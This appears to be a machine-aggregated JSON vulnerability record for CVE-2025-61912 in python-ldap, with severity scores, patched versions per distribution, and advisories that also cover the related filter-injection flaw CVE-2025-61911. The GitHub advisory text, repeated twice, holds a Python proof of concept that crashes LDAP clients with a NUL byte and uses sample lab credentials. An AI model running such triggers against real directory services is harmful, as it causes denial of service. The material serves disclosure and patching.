{"id":"CVE-2025-61912","aliases":["ALPINE-CVE-2025-61912","AZL-68433","AZL-68454","DEBIAN-CVE-2025-61912","EUVD-2025-33796","GHSA-p34h-wq7j-h5v6","OESA-2025-2681","OESA-2025-2682","OESA-2025-2684","OESA-2025-2685","OESA-2025-2686","OESA-2026-1248","PYSEC-2026-1846","SUSE-SU-2025:3695-1","SUSE-SU-2025:3714-1","SUSE-SU-2026:20933-1","UBUNTU-CVE-2025-61912","USN-7828-1","openSUSE-SU-2025:15637-1","openSUSE-SU-2026:20421-1"],"status":"published","title":"python-ldap Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","severity":{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00458,"percentile":0.40189,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-116","CWE-170"],"published":"2025-10-10T22:04:25Z","modified":"2026-11-05T05:36:30Z","fixes":[{"ecosystem":"PyPI","package":"python-ldap","fixed_in":["3.4.5"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.24","package":"py3-ldap","fixed_in":["3.4.5-r0"],"sources":["osv"]},{"ecosystem":"Debian:12","package":"python-ldap","fixed_in":["3.4.3-2+deb12u1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"python-ldap","fixed_in":["3.4.4-1+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"python-ldap","fixed_in":["3.4.5-1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"python-ldap","fixed_in":["3.4.4-3.oe2403sp1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"python-ldap","fixed_in":["2.4.22-0.1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"python-ldap","fixed_in":["3.0.0-1ubuntu0.2+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-ldap","fixed_in":["3.2.0-4ubuntu2.1+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:22.04:LTS","package":"python-ldap","fixed_in":["3.2.0-4ubuntu7.2"],"sources":["osv"]},{"ecosystem":"Ubuntu:24.04:LTS","package":"python-ldap","fixed_in":["3.4.4-1ubuntu0.24.04.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:25.10","package":"python-ldap","fixed_in":["3.4.4-1ubuntu0.25.10.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"python-ldap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.5"}]}]},{"source":"osv","ecosystem":"Alpine:v3.24","package":"py3-ldap","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.5-r0"}]}]},{"source":"osv","ecosystem":"Azure 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Notes","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61912","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-p34h-wq7j-h5v6","tags":["advisory"]},{"url":"https://security.alpinelinux.org/vuln/CVE-2025-61912","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/61xxx/CVE-2025-61912.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-61912","tags":["advisory"]},{"url":"https://github.com/python-ldap/python-ldap","tags":["package"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2681","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61911","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2682","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2684","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2685","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2025-2686","tags":["advisory"]},{"url":"https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-1248","tags":["advisory"]},{"url":"https://pypi.org/project/python-ldap","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20253695-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1251912","tags":["report"]},{"url":"https://bugzilla.suse.com/1251913","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-61911","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-61912","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20253714-1/","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202620933-1/","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-61912","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-61912","tags":["report"]},{"url":"https://github.com/python-ldap/python-ldap/commit/9f5b2effbafdf7af0e7064a7aa42d2739d373bd7","tags":["report"]},{"url":"https://ubuntu.com/security/notices/USN-7828-1","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2025-61911","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-61912","title":"python-ldap Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:04:25.028Z","modified":"2025-10-14T14:58:06.682Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-116","CWE-170"],"updated_at":"2026-11-02T14:32:45.105469Z"}],"euvd":[{"id":"EUVD-2025-33796","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:04:25Z","modified":"2025-10-14T14:58:06Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"updated_at":"2026-11-02T20:31:33.01309Z"}],"ghsa":[{"id":"GHSA-p34h-wq7j-h5v6","title":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","description":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=\u003e add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=\u003e sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=\u003e add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.","status":"published","published":"2025-10-10T22:53:25Z","modified":"2025-10-13T15:47:44Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-116","CWE-170"],"updated_at":"2026-11-02T14:39:00.807341Z"}],"nvd":[{"id":"CVE-2025-61912","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:15:37.637Z","modified":"2026-10-19T16:10:00.26Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"primary"}],"cwes":["CWE-116","CWE-170"],"updated_at":"2026-11-02T14:11:36.851295Z"}],"osv":[{"id":"ALPINE-CVE-2025-61912","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:15:37.637Z","modified":"2026-11-03T06:32:51.221384949Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-03T07:16:46.202932Z"},{"id":"CVE-2025-61912","title":"python-ldap Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:04:25.028Z","modified":"2026-10-28T02:31:05.257460207Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-116","CWE-170"],"updated_at":"2026-11-02T15:44:51.516975Z"},{"id":"DEBIAN-CVE-2025-61912","description":"python-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.","status":"published","published":"2025-10-10T22:15:37.637Z","modified":"2026-10-23T17:47:43.041776094Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-p34h-wq7j-h5v6","title":"python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination","description":"### Summary\n\n\n`ldap.dn.escape_dn_chars()` escapes `\\x00` incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form `\\00`. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.\n\n\n\n### Details\n\n\n\nAffected function: `ldap.dn.escape_dn_chars(s)`\n\nFile: Lib/ldap/dn.py\n\nBuggy behavior:\nFor NUL, the function does:\n\n`s = s.replace('\\000', '\\\\\\000')  # backslash + literal NUL`\n\nThis produces Python strings which, when passed to python-ldap APIs (e.g., `add_s`, `modify_s`, r`ename_s`, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.\nWith correct RFC-4514 encoding (`\\00`), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.\n\nWhy it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.\n\nStandards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.\n\nMinimal fix: Escape NUL as hex:\n\n`s = s.replace('\\x00', r'\\00')`\n\n\n\n### PoC\n\nPrereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.\n\n```import ldap\nfrom ldap.dn import escape_dn_chars, str2dn\n\nl = ldap.initialize(\"ldap://10.0.1.11\")              # your lab DC/LDAP\nl.protocol_version = 3\nl.set_option(ldap.OPT_REFERRALS, 0)\nl.simple_bind_s(r\"DSEC\\dani.aga\", \"PassAa1\")         \n\n# --- Attacker-controlled value contains NUL ---\ncn = \"bad\\0name\"\nescaped_cn = escape_dn_chars(cn)\ndn = f\"CN={escaped_cn},OU=Users,DC=dsec,DC=local\"\nattrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]\n\nprint(\"=== BUGGY DN (contains literal NUL) ===\")\nprint(\"escaped_cn repr:\", repr(escaped_cn))\nprint(\"dn repr:\", repr(dn))\nprint(\"contains NUL?:\", \"\\x00\" in dn, \"at index:\", dn.find(\"\\x00\"))\n\nprint(\"=\u003e add_s(buggy DN): expected client-side failure (no server contact)\")\ntry:\n    l.add_s(dn, attrs)\n    print(\"add_s(buggy): succeeded (unexpected)\")\nexcept Exception as e:\n    print(\"add_s(buggy):\", type(e).__name__, e)  # ValueError: embedded null character\n\n# --- Correct hex escape demonstrates the client proceeds to the server ---\nsafe_dn = dn.replace(\"\\x00\", r\"\\00\")                 # RFC 4514-compliant\nprint(\"\\n=== HEX-ESCAPED DN (\\\\00) ===\")\nprint(\"safe_dn repr:\", repr(safe_dn))\nprint(\"=\u003e sanity parse:\", str2dn(safe_dn))           # parses locally\n\nprint(\"=\u003e add_s(safe DN): reaches server (AD will likely reject with 34)\")\ntry:\n    l.add_s(safe_dn, attrs)\n    print(\"add_s(safe): success (unlikely without required attrs/rights)\")\nexcept ldap.LDAPError as e:\n    print(\"add_s(safe):\", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)\n```\n\nObserved result (example):\n\n`add_s(buggy): ValueError embedded null character` ← client-side DoS\n\n`add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME)` ← request reached server; rejection due to server policy, not client bug\n\n\n### Impact\n\nType: Denial of Service (client-side).\n\nWho is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user `creation/rename tools`, `sync/ETL jobs`, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with `\\x00` reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.","status":"published","published":"2025-10-10T22:53:25Z","modified":"2026-09-10T03:50:30.209082635Z","cvss":[{"version":"4.0","score":5.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","level":"medium"}],"cwes":["CWE-116","CWE-170"],"updated_at":"2026-11-02T15:46:52.534897Z"},{"id":"OESA-2025-2681","title":"python-ldap security update","description":"python-ldap:   python-ldap provides an object-oriented API to access LDAP directory servers   from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose.   Additionally the package contains modules for other LDAP-related stuff   (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations   and controls, etc.).\r\n\r\nSecurity Fix(es):\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured. The method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.(CVE-2025-61911)\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)","status":"published","published":"2025-11-14T11:09:48Z","modified":"2026-08-18T01:19:19.540526295Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2682","title":"python-ldap security update","description":"python-ldap:   python-ldap provides an object-oriented API to access LDAP directory servers   from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose.   Additionally the package contains modules for other LDAP-related stuff   (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations   and controls, etc.).\r\n\r\nSecurity Fix(es):\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured. The method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.(CVE-2025-61911)\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)","status":"published","published":"2025-11-14T11:09:48Z","modified":"2026-08-18T01:19:19.368646521Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2684","title":"python-ldap security update","description":"python-ldap:   python-ldap provides an object-oriented API to access LDAP directory servers   from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose.   Additionally the package contains modules for other LDAP-related stuff   (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations   and controls, etc.).\r\n\r\nSecurity Fix(es):\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured. The method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.(CVE-2025-61911)\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)","status":"published","published":"2025-11-14T11:09:48Z","modified":"2026-08-18T01:19:18.893106844Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2685","title":"python-ldap security update","description":"python-ldap:   python-ldap provides an object-oriented API to access LDAP directory servers   from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose.   Additionally the package contains modules for other LDAP-related stuff   (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations   and controls, etc.).\r\n\r\nSecurity Fix(es):\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured. The method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.(CVE-2025-61911)\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)","status":"published","published":"2025-11-14T11:09:48Z","modified":"2026-08-18T01:19:19.222369388Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2025-2686","title":"python-ldap security update","description":"python-ldap:   python-ldap provides an object-oriented API to access LDAP directory servers   from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose.   Additionally the package contains modules for other LDAP-related stuff   (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations   and controls, etc.).\r\n\r\nSecurity Fix(es):\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, the sanitization method `ldap.filter.escape_filter_chars` can be tricked to skip escaping of special characters when a crafted `list` or `dict` is supplied as the `assertion_value` parameter, and the non-default `escape_mode=1` is configured. The method `ldap.filter.escape_filter_chars` supports 3 different escaping modes. `escape_mode=0` (default) and `escape_mode=2` happen to raise exceptions when a `list` or `dict` object is supplied as the `assertion_value` parameter. However, `escape_mode=1` computes without performing adequate logic to ensure a fully escaped return value. If an application relies on the vulnerable method in the `python-ldap` library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them. Version 3.4.5 fixes the issue by adding a type check at the start of the `ldap.filter.escape_filter_chars` method to raise an exception when the supplied `assertion_value` parameter is not of type `str`.(CVE-2025-61911)\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In versions prior to 3.4.5, ldap.dn.escape_dn_chars() escapes \\x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \\00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service. Version 3.4.5 contains a patch for the issue.(CVE-2025-61912)","status":"published","published":"2025-11-14T11:09:48Z","modified":"2026-08-18T01:19:19.784388932Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:44.957082Z"},{"id":"OESA-2026-1248","title":"python-ldap security update","description":"python-ldap:   python-ldap provides an object-oriented API to access LDAP directory servers   from Python programs. Mainly it wraps the OpenLDAP 2.x libs for that purpose.   Additionally the package contains modules for other LDAP-related stuff   (e.g. processing LDIF, LDAPURLs, LDAPv3 schema, LDAPv3 extended operations   and controls, etc.).\r\n\r\nSecurity Fix(es):\n\npython-ldap is a lightweight directory access protocol (LDAP) client API for Python. In 